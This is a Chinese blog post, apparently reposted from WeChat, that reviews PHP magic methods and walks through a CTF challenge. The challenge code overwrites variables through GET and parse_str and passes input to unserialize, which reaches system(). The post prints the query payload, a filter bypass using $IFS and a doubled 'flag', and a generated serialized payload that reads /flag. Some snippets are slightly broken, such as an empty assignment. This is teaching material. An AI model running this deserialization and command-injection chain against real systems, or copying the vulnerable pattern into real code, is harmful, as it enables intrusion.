序列化了解一下

序列化了解一下

趁写代码的空闲,继续来整理一点知识,回顾一下以前的知识点,很久不学都快忘了。

环境准备

ubuntu+php7.0

知识储备

PHP反序列化,魔术方法执行顺序

有如下魔术方法

__construct()

实例化对象的时候被调用

__destruct()

当删除一个对象或对象操作终止时被调用

__call()

对象调用某个方法, 若方法存在,则直接调用; 若不存在,则会去调用__call函数

  `__get() `

读取一个对象的属性时, 若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。

__set()

设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set函数。

__toString()

打印或者输出一个对象的时被调用。如echoobj;

__clone()

克隆对象时被调用。如t1=clone $t; 8。__sleep() serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。

__wakeup()

unserialize时被调用,做些对象的初始化工作。

__sleep()

当对象被当做文件保存时会自动触发的方法。

测试一下

涉及到php反序列化的内容主要有__wakeupslepp

<?php

class test{
    public $var1;
    private $var2;

    function __construct($var1,$var2){
        $this->$var1 = '1';
        $this->$var2 = '2';
        echo 'using __construct';
    }
    function __destruct()
    {
        echo "using __destruct";
    }
    function __wakeup()
    {
        echo "using  __wakeup";
    }

        function __sleep()
    {
        echo "using  __sleep";
    }

}
$a = new test("1",'2');
$a = new test("1",'2');
$b = serialize($a);
echo $b;
$c = unserialize($b);

运行结果

using __construct
O:4:"test":4:{s:4:"var1";N;s:10:"
using  __wakeup
using __destruct
using __destruct

代码审计

题目来源

上海xxxx比赛

题目源码

<?php
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=;
foreach($_GET as $key => $value) {
        if($i===)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come); 
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}

?>

解题思路

第一步

进入echo "<br>welcome!<br>"; 语句

变量覆盖有两处

foreach($_GET as $key => $value) {
        if($i===)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}

第二处

    @parse_str($_GET['a'])

所以payload

first=doller&a=var=give%26bbb=me%26ccc=flag

注意%26是传给parse_str的参数&

第二步

主要内容就是反序列化的时候调用echo函数

要拿到flag

需要这样输出

echo `cat /flag`

简单的过滤waf

echo`catIFS/flflagag`

所以可以这样写初始化和输出的过程

<?php
class come{    
    //.....
}

$a = new come('echo',array('`cat$IFS/flflagag`'));
// echo serialize($a);
// echo urlencode(serialize($a));
echo base64_encode(urlencode(serialize($a)));
?>

base64 是为了让其在粘贴的时候可以一次性粘贴走

到hackbar的时候在解密回去就好

结果

TyUzQTQlM0ElMjJjb21lJTIyJTNBMiUzQSU3QnMlM0ExMiUzQSUyMiUwMGNvbWUlMDBtZXRob2QlMjIlM0JzJTNBNCUzQSUyMmVjaG8lMjIlM0JzJTNBMTAlM0ElMjIlMDBjb21lJTAwYXJncyUyMiUzQmElM0ExJTNBJTdCaSUzQTAlM0JzJTNBMTglM0ElMjIlNjBjYXQlMjRJRlMlMkZmbGZsYWdhZyU2MCUyMiUzQiU3RCU3RA==

运行

原文发布于微信公众号 - 无级安全(wujisec)

原文发表时间:2018-11-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券